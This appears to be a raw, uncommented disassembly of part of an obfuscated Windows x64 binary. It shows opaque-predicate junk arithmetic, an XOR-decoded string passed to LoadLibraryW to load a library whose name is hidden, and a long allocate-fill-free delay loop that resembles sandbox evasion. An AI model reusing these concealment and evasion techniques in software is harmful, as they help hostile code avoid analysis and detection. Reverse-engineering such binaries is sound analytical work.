mov eax, ecx
mov ecx, dword [rsp + 0x7d4]
add ecx, eax
mov eax, ecx
movzx ecx, byte [0x140204bc4]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [0x140204bbd]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x14003272a
movzx eax, byte [0x140204bbf]
movsx eax, al
mov dword [rsp + 0x7d8], eax
call fcn.14002d610
movsx eax, al
mov ecx, dword [rsp + 0x7d8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7dc], eax
call fcn.14002d600
movsx eax, al
imul eax, eax, 6
movzx ecx, byte [0x14020fab0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x7dc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7e0], eax
call fcn.14002d630
movsx eax, al
mov ecx, dword [rsp + 0x7e0]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14003272a
mov dword [rsp + 0x128], 0
jmp 0x1400325ec
cmp dword [rsp + 0x128], 0xf
jae 0x140032725
cvtsi2sd xmm0, dword [rsp + 0x128]
movsd xmm1, qword [rsp + 0x430]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1688], xmm0
call fcn.14002d5d0
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1688]
ucomisd xmm1, xmm0
jp 0x140032667
jne 0x140032667
mov eax, dword [rsp + 0x128]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x430]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x430], xmm0
jmp 0x1400324e4
cvtsi2sd xmm0, dword [rsp + 0x128]
movsd xmm1, qword [rsp + 0x430]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1690], xmm0
call fcn.14002d5e0
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1690]
ucomisd xmm1, xmm0
jp 0x1400326cf
jne 0x1400326cf
mov eax, dword [rsp + 0x128]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x430]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x430], xmm0
jmp 0x1400326e6
xor eax, eax
cmp eax, 1
je 0x1400326e2
jmp 0x1400327cf
jmp 0x14003270f
cvtsi2sd xmm0, dword [rsp + 0x128]
movsd xmm1, qword [rsp + 0x430]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x4f4], eax
jmp 0x1400327da
xor eax, eax
test eax, eax
je 0x14003271b
jmp 0x14003272a
jmp 0x1400324e4
jmp 0x1400324e4
xor eax, eax
cmp eax, 2
je 0x1400327cf
movzx eax, byte [0x140204bc5]
movsx eax, al
mov dword [rsp + 0x7e4], eax
call fcn.14002d620
movsx eax, al
mov ecx, dword [rsp + 0x7e4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7ec], eax
call fcn.14002d5f0
movsx eax, al
imul eax, eax, 7
mov dword [rsp + 0x7e8], eax
call fcn.14002d5d0
movsx eax, al
mov ecx, dword [rsp + 0x7e8]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x7ec]
add ecx, eax
mov eax, ecx
movzx ecx, byte [0x140204bc4]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [0x140204bbd]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x430]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x4f4], eax
jmp 0x1400327da
mov dword [rsp + 0x4f4], 8
movsxd rax, dword [rsp + 0x54]
mov rcx, qword [rsp + 0x238]
mov eax, dword [rcx + rax*4]
add eax, dword [rsp + 0x4f0]
movsxd rcx, dword [rsp + 0x54]
mov rdx, qword [rsp + 0x238]
mov edi, dword [rsp + 0x4f4]
mov ecx, dword [rdx + rcx*4]
and ecx, edi
shl ecx, 1
sub eax, ecx
movsxd rcx, dword [rsp + 0x54]
mov rdx, qword [rsp + 0x238]
mov dword [rdx + rcx*4], eax
movzx eax, byte [0x140204bbf]
movsx eax, al
mov dword [rsp + 0x7f0], eax
call fcn.14002d610
movsx eax, al
mov ecx, dword [rsp + 0x7f0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f4], eax
call fcn.14002d600
movsx eax, al
imul eax, eax, 9
movzx ecx, byte [0x14020fab0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x7f4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f8], eax
call fcn.14002d630
movsx eax, al
mov ecx, dword [rsp + 0x7f8]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x140032be1
movzx eax, byte [0x140204bc3]
movsx eax, al
movzx ecx, byte [0x140204bbf]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1401cd680]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x438], xmm0
movzx eax, byte [0x140204bc5]
movsx eax, al
mov dword [rsp + 0x7fc], eax
call fcn.14002d620
movsx eax, al
mov ecx, dword [rsp + 0x7fc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x804], eax
call fcn.14002d5f0
movsx eax, al
mov dword [rsp + 0x800], eax
call fcn.14002d5d0
movsx eax, al
mov ecx, dword [rsp + 0x800]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x804]
add ecx, eax
mov eax, ecx
movzx ecx, byte [0x140204bc4]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [0x140204bbd]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x140032b08
movzx eax, byte [0x140204bbf]
movsx eax, al
mov dword [rsp + 0x808], eax
call fcn.14002d610
movsx eax, al
mov ecx, dword [rsp + 0x808]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x80c], eax
call fcn.14002d600
movsx eax, al
imul eax, eax, 6
movzx ecx, byte [0x14020fab0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x80c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x810], eax
call fcn.14002d630
movsx eax, al
mov ecx, dword [rsp + 0x810]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x140032b08
mov dword [rsp + 0x12c], 0
jmp 0x1400329ca
cmp dword [rsp + 0x12c], 0xf
jae 0x140032b03
cvtsi2sd xmm0, dword [rsp + 0x12c]
movsd xmm1, qword [rsp + 0x438]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1698], xmm0
call fcn.14002d5d0
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1698]
ucomisd xmm1, xmm0
jp 0x140032a45
jne 0x140032a45
mov eax, dword [rsp + 0x12c]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x438]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x438], xmm0
jmp 0x1400328c2
cvtsi2sd xmm0, dword [rsp + 0x12c]
movsd xmm1, qword [rsp + 0x438]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x16a0], xmm0
call fcn.14002d5e0
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x16a0]
ucomisd xmm1, xmm0
jp 0x140032aad
jne 0x140032aad
mov eax, dword [rsp + 0x12c]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x438]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x438], xmm0
jmp 0x140032ac4
xor eax, eax
cmp eax, 1
je 0x140032ac0
jmp 0x140032bad
jmp 0x140032aed
cvtsi2sd xmm0, dword [rsp + 0x12c]
movsd xmm1, qword [rsp + 0x438]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x4f8], eax
jmp 0x140032bb8
xor eax, eax
test eax, eax
je 0x140032af9
jmp 0x140032b08
jmp 0x1400328c2
jmp 0x1400328c2
xor eax, eax
cmp eax, 2
je 0x140032bad
movzx eax, byte [0x140204bc5]
movsx eax, al
mov dword [rsp + 0x814], eax
call fcn.14002d620
movsx eax, al
mov ecx, dword [rsp + 0x814]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x81c], eax
call fcn.14002d5f0
movsx eax, al
imul eax, eax, 7
mov dword [rsp + 0x818], eax
call fcn.14002d5d0
movsx eax, al
mov ecx, dword [rsp + 0x818]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x81c]
add ecx, eax
mov eax, ecx
movzx ecx, byte [0x140204bc4]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [0x140204bbd]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x438]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x4f8], eax
jmp 0x140032bb8
mov dword [rsp + 0x4f8], 8
movsxd rax, dword [rsp + 0x54]
mov rcx, qword [rsp + 0x238]
mov edx, dword [rsp + 0x4f8]
mov eax, dword [rcx + rax*4]
xor eax, edx
movsxd rcx, dword [rsp + 0x54]
mov rdx, qword [rsp + 0x238]
mov dword [rdx + rcx*4], eax
jmp 0x1400315a0
mov rax, qword [rsp + 0x700]
mov byte [rax + 4], 1
mov eax, 4
imul rax, rax, 0
mov rcx, qword [rsp + 0x700]
mov eax, dword [rcx + rax]
mov dword [rsp + 0x820], eax
mov eax, dword [rsp + 0x820]
lea rcx, [0x14020e5d0]
mov rax, qword [rcx + rax*8]
mov qword [rsp + 0x16a8], rax
mov rdx, qword [rsp + 0x1538]
mov rcx, qword [rsp + 0xd0]
call qword [rsp + 0x16a8]
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x25a0]
mov qword [rsp + 0x610], rax
lea rax, [rsp + 0x1b90]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
mov dword [rsp + 0x1b90], 0x68
lea rax, [rsp + 0x768]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
mov dword [rsp + 0x4fc], 6
jmp 0x140032ca2
mov eax, dword [rsp + 0x4fc]
inc eax
mov dword [rsp + 0x4fc], eax
cmp dword [rsp + 0x4fc], 0x2c89
jae 0x140032d46
mov ecx, 0xea60
call fcn.14005bfe4
mov qword [rsp + 0x16b0], rax
mov rax, qword [rsp + 0x16b0]
mov qword [rsp + 0x1540], rax
mov dword [rsp + 0x248], 0
jmp 0x140032cf2
mov eax, dword [rsp + 0x248]
inc eax
mov dword [rsp + 0x248], eax
cmp dword [rsp + 0x248], 0x3013
jae 0x140032d24
cmp dword [rsp + 0x248], 0x53
jne 0x140032d0b
jmp 0x140032d24
movsxd rax, dword [rsp + 0x248]
mov rcx, qword [rsp + 0x1540]
mov dword [rcx + rax*4], 0x1d38
jmp 0x140032ce2
mov rax, qword [rsp + 0x1540]
mov qword [rsp + 0x16b8], rax
mov rcx, qword [rsp + 0x16b8]
call fcn.14005bfdc
jmp 0x140032c92
lea rax, [rsp + 0x4b0]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rsp + 0x1ef0]
lea rcx, str._KTP
mov rdi, rax
mov rsi, rcx
mov ecx, 0x1a
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x670], 0x61b8
mov dword [rsp + 0x824], 0x31a9
mov dword [rsp + 0x828], 0x5d7a
mov eax, dword [rsp + 0x824]
mov dword [rsp + 0x670], eax
cmp dword [rsp + 0x670], 0
je 0x140032dba
mov dword [rsp + 0x828], 0x55cb
mov dword [rsp + 0x6d4], 0x981a
mov dword [rsp + 0x82c], 0x7d34
mov dword [rsp + 0x830], 0x32c6
mov eax, dword [rsp + 0x82c]
mov dword [rsp + 0x6d4], eax
cmp dword [rsp + 0x6d4], 0
je 0x140032dfe
mov dword [rsp + 0x830], 0xa220
mov eax, 2
imul rax, rax, 0xc
movzx eax, word [rsp + rax + 0x1ef0]
test eax, eax
je 0x140032e20
mov dword [rsp + 0x664], 1
jmp 0x140032e2b
mov dword [rsp + 0x664], 0
movzx eax, byte [rsp + 0x664]
test eax, eax
je 0x140032eee
mov dword [rsp + 0x668], 0xa26b
mov dword [rsp + 0x834], 0x3853
mov dword [rsp + 0x838], 0x7f31
mov eax, dword [rsp + 0x834]
mov dword [rsp + 0x668], eax
cmp dword [rsp + 0x668], 0
je 0x140032e7f
mov dword [rsp + 0x838], 0x9f8b
mov dword [rsp + 0x1c0], 0
jmp 0x140032e9c
mov eax, dword [rsp + 0x1c0]
inc eax
mov dword [rsp + 0x1c0], eax
cmp dword [rsp + 0x1c0], 0xd
jge 0x140032eee
movsxd rax, dword [rsp + 0x1c0]
movzx eax, word [rsp + rax*2 + 0x1ef0]
mov dword [rsp + 0x83c], eax
mov eax, dword [rsp + 0x1c0]
cdq
mov ecx, 0x36
idiv ecx
mov eax, edx
add eax, 0x37
mov ecx, dword [rsp + 0x83c]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x1c0]
mov word [rsp + rcx*2 + 0x1ef0], ax
jmp 0x140032e8c
lea rax, [rsp + 0x1ef0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rsp + 0x1e0], rax
cmp qword [rsp + 0x1e0], 0
jne 0x140032f19
xor al, al
jmp 0x140041fd9
lea rax, [rsp + 0x4b1]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rsp + 0x1f10]
lea rcx, str.tJ_OYmLP_10
mov rdi, rax
mov rsi, rcx
mov ecx, 0x1e
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x19d]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rcx, [rsp + 0x19d]
call fcn.140029fa0
mov qword [rsp + 0x708], rax
mov rax, qword [rsp + 0x708]
movzx eax, byte [rax + 4]
test eax, eax
jne 0x1400345e6
mov rax, qword [rsp + 0x708]
mov qword [rsp + 0x1f8], rax
mov dword [rsp + 0x58], 0
jmp 0x140032faa
mov eax, dword [rsp + 0x58]
inc eax
mov dword [rsp + 0x58], eax
movsxd rax, dword [rsp + 0x58]
cmp rax, 1
jae 0x1400345e6
movzx eax, byte [0x140204bbf]
movsx eax, al
mov dword [rsp + 0x840], eax
call fcn.14002d610
movsx eax, al
mov ecx, dword [rsp + 0x840]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x844], eax
call fcn.14002d600
movsx eax, al
imul eax, eax, 3
movzx ecx, byte [0x14020fab0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x844]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x848], eax
call fcn.14002d630
movsx eax, al
mov ecx, dword [rsp + 0x848]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x14003337c
movzx eax, byte [0x140204bc3]
movsx eax, al
movzx ecx, byte [0x140204bbf]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1401cd680]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x440], xmm0
movzx eax, byte [0x140204bc5]
movsx eax, al
mov dword [rsp + 0x84c], eax
call fcn.14002d620
movsx eax, al
mov ecx, dword [rsp + 0x84c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x854], eax
call fcn.14002d5f0
movsx eax, al
mov dword [rsp + 0x850], eax
call fcn.14002d5d0
movsx eax, al
mov ecx, dword [rsp + 0x850]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x854]
add ecx, eax
mov eax, ecx
movzx ecx, byte [0x140204bc4]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [0x140204bbd]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x1400332a3
movzx eax, byte [0x140204bbf]
movsx eax, al
mov dword [rsp + 0x858], eax
call fcn.14002d610
movsx eax, al
mov ecx, dword [rsp + 0x858]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x85c], eax
call fcn.14002d600
movsx eax, al
imul eax, eax, 6
movzx ecx, byte [0x14020fab0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x85c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x860], eax
call fcn.14002d630
movsx eax, al
mov ecx, dword [rsp + 0x860]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x1400332a3
mov dword [rsp + 0xec], 0
jmp 0x140033165
cmp dword [rsp + 0xec], 0xf
jae 0x14003329e
cvtsi2sd xmm0, dword [rsp + 0xec]
movsd xmm1, qword [rsp + 0x440]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x16c0], xmm0
call fcn.14002d5d0
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x16c0]
ucomisd xmm1, xmm0
jp 0x1400331e0
jne 0x1400331e0
mov eax, dword [rsp + 0xec]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x440]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x440], xmm0
jmp 0x14003305d
cvtsi2sd xmm0, dword [rsp + 0xec]
movsd xmm1, qword [rsp + 0x440]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x16c8], xmm0
call fcn.14002d5e0
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x16c8]
ucomisd xmm1, xmm0
jp 0x140033248
jne 0x140033248
mov eax, dword [rsp + 0xec]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x440]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x440], xmm0
jmp 0x14003325f
xor eax, eax
cmp eax, 1
je 0x14003325b
jmp 0x140033348
jmp 0x140033288
cvtsi2sd xmm0, dword [rsp + 0xec]
movsd xmm1, qword [rsp + 0x440]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x500], eax
jmp 0x140033353
xor eax, eax
test eax, eax
je 0x140033294
jmp 0x1400332a3
jmp 0x14003305d
jmp 0x14003305d
xor eax, eax
cmp eax, 2
je 0x140033348
movzx eax, byte [0x140204bc5]
movsx eax, al
mov dword [rsp + 0x864], eax
call fcn.14002d620
movsx eax, al
mov ecx, dword [rsp + 0x864]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x86c], eax
call fcn.14002d5f0
movsx eax, al
imul eax, eax, 7
mov dword [rsp + 0x868], eax
call fcn.14002d5d0
movsx eax, al
mov ecx, dword [rsp + 0x868]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x86c]
add ecx, eax
mov eax, ecx
movzx ecx, byte [0x140204bc4]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [0x140204bbd]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x440]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x500], eax
jmp 0x140033353
mov dword [rsp + 0x500], 8
movsxd rax, dword [rsp + 0x58]
mov rcx, qword [rsp + 0x1f8]
mov edx, dword [rsp + 0x500]
mov eax, dword [rcx + rax*4]
xor eax, edx
movsxd rcx, dword [rsp + 0x58]
mov rdx, qword [rsp + 0x1f8]
mov dword [rdx + rcx*4], eax
movzx eax, byte [0x140204bc5]
movsx eax, al
mov dword [rsp + 0x870], eax
call fcn.14002d620
movsx eax, al
mov ecx, dword [rsp + 0x870]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x878], eax
call fcn.14002d5f0
movsx eax, al
shl eax, 2
mov dword [rsp + 0x874], eax
call fcn.14002d5d0
movsx eax, al
mov ecx, dword [rsp + 0x874]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x878]
add ecx, eax
mov eax, ecx
movzx ecx, byte [0x140204bc4]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [0x140204bbd]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x14003421e
movzx eax, byte [0x140204bbf]
movsx eax, al
mov dword [rsp + 0x87c], eax
call fcn.14002d610
movsx eax, al
mov ecx, dword [rsp + 0x87c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x880], eax
call fcn.14002d600
movsx eax, al
shl eax, 3
movzx ecx, byte [0x14020fab0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x880]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x884], eax
call fcn.14002d630
movsx eax, al
mov ecx, dword [rsp + 0x884]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x1400337bd
movzx eax, byte [0x140204bc3]
movsx eax, al
movzx ecx, byte [0x140204bbf]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1401cd678]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x448], xmm0
movzx eax, byte [0x140204bc5]
movsx eax, al
mov dword [rsp + 0x888], eax
call fcn.14002d620
movsx eax, al
mov ecx, dword [rsp + 0x888]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x890], eax
call fcn.14002d5f0
movsx eax, al
mov dword [rsp + 0x88c], eax
call fcn.14002d5d0
movsx eax, al
mov ecx, dword [rsp + 0x88c]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x890]
add ecx, eax
mov eax, ecx
movzx ecx, byte [0x140204bc4]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [0x140204bbd]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x1400336e4
movzx eax, byte [0x140204bbf]
movsx eax, al
mov dword [rsp + 0x894], eax
call fcn.14002d610
movsx eax, al
mov ecx, dword [rsp + 0x894]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x898], eax
call fcn.14002d600
movsx eax, al
imul eax, eax, 6
movzx ecx, byte [0x14020fab0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x898]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x89c], eax
call fcn.14002d630
movsx eax, al
mov ecx, dword [rsp + 0x89c]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x1400336e4
mov dword [rsp + 0xf0], 0
jmp 0x1400335a6
cmp dword [rsp + 0xf0], 0xf
jae 0x1400336df
cvtsi2sd xmm0, dword [rsp + 0xf0]
movsd xmm1, qword [rsp + 0x448]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x16d0], xmm0
call fcn.14002d5d0
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x16d0]
ucomisd xmm1, xmm0
jp 0x140033621
jne 0x140033621
mov eax, dword [rsp + 0xf0]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x448]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x448], xmm0
jmp 0x14003349e
cvtsi2sd xmm0, dword [rsp + 0xf0]
movsd xmm1, qword [rsp + 0x448]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x16d8], xmm0
call fcn.14002d5e0
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x16d8]
ucomisd xmm1, xmm0
jp 0x140033689
jne 0x140033689
mov eax, dword [rsp + 0xf0]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x448]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x448], xmm0
jmp 0x1400336a0
xor eax, eax
cmp eax, 1
je 0x14003369c
jmp 0x140033789
jmp 0x1400336c9
cvtsi2sd xmm0, dword [rsp + 0xf0]
movsd xmm1, qword [rsp + 0x448]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x504], eax
jmp 0x140033794
xor eax, eax
test eax, eax
je 0x1400336d5
jmp 0x1400336e4
jmp 0x14003349e
jmp 0x14003349e
xor eax, eax
cmp eax, 2
je 0x140033789
movzx eax, byte [0x140204bc5]
movsx eax, al
mov dword [rsp + 0x8a0], eax
call fcn.14002d620
movsx eax, al
mov ecx, dword [rsp + 0x8a0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8a8], eax
call fcn.14002d5f0
movsx eax, al
imul eax, eax, 7
mov dword [rsp + 0x8a4], eax
call fcn.14002d5d0
movsx eax, al
mov ecx, dword [rsp + 0x8a4]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x8a8]
add ecx, eax
mov eax, ecx
movzx ecx, byte [0x140204bc4]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [0x140204bbd]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x448]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x504], eax
jmp 0x140033794
mov dword [rsp + 0x504], 8
movsxd rax, dword [rsp + 0x58]
mov rcx, qword [rsp + 0x1f8]
mov edx, dword [rsp + 0x504]
mov eax, dword [rcx + rax*4]
xor eax, edx
movsxd rcx, dword [rsp + 0x58]
mov rdx, qword [rsp + 0x1f8]
mov dword [rdx + rcx*4], eax
movzx eax, byte [0x140204bbf]
movsx eax, al
mov dword [rsp + 0x8ac], eax
call fcn.14002d610
movsx eax, al
mov ecx, dword [rsp + 0x8ac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8b0], eax
call fcn.14002d600
movsx eax, al
imul eax, eax, 9
movzx ecx, byte [0x14020fab0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x8b0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8b4], eax
call fcn.14002d630
movsx eax, al
mov ecx, dword [rsp + 0x8b4]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x140033b80
movzx eax, byte [0x140204bc3]
movsx eax, al
movzx ecx, byte [0x140204bbf]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1401cd670]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x450], xmm0
movzx eax, byte [0x140204bc5]
movsx eax, al
mov dword [rsp + 0x8b8], eax
call fcn.14002d620
movsx eax, al
mov ecx, dword [rsp + 0x8b8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8c0], eax
call fcn.14002d5f0
movsx eax, al
mov dword [rsp + 0x8bc], eax
call fcn.14002d5d0
movsx eax, al
mov ecx, dword [rsp + 0x8bc]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x8c0]
add ecx, eax
mov eax, ecx
movzx ecx, byte [0x140204bc4]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [0x140204bbd]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x140033aa7
movzx eax, byte [0x140204bbf]
movsx eax, al
mov dword [rsp + 0x8c4], eax
call fcn.14002d610
movsx eax, al
mov ecx, dword [rsp + 0x8c4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8c8], eax
call fcn.14002d600
movsx eax, al
imul eax, eax, 6
movzx ecx, byte [0x14020fab0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x8c8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8cc], eax
call fcn.14002d630
movsx eax, al
mov ecx, dword [rsp + 0x8cc]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x140033aa7
mov dword [rsp + 0xf4], 0
jmp 0x140033969
cmp dword [rsp + 0xf4], 0xf
jae 0x140033aa2
cvtsi2sd xmm0, dword [rsp + 0xf4]
movsd xmm1, qword [rsp + 0x450]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x16e0], xmm0
call fcn.14002d5d0
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x16e0]
ucomisd xmm1, xmm0
jp 0x1400339e4
jne 0x1400339e4
mov eax, dword [rsp + 0xf4]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x450]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x450], xmm0
jmp 0x140033861
cvtsi2sd xmm0, dword [rsp + 0xf4]
movsd xmm1, qword [rsp + 0x450]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x16e8], xmm0
call fcn.14002d5e0
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x16e8]
ucomisd xmm1, xmm0
jp 0x140033a4c
jne 0x140033a4c
mov eax, dword [rsp + 0xf4]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x450]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x450], xmm0
jmp 0x140033a63
xor eax, eax
cmp eax, 1
je 0x140033a5f
jmp 0x140033b4c
jmp 0x140033a8c
cvtsi2sd xmm0, dword [rsp + 0xf4]
movsd xmm1, qword [rsp + 0x450]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x508], eax
jmp 0x140033b57
xor eax, eax
test eax, eax
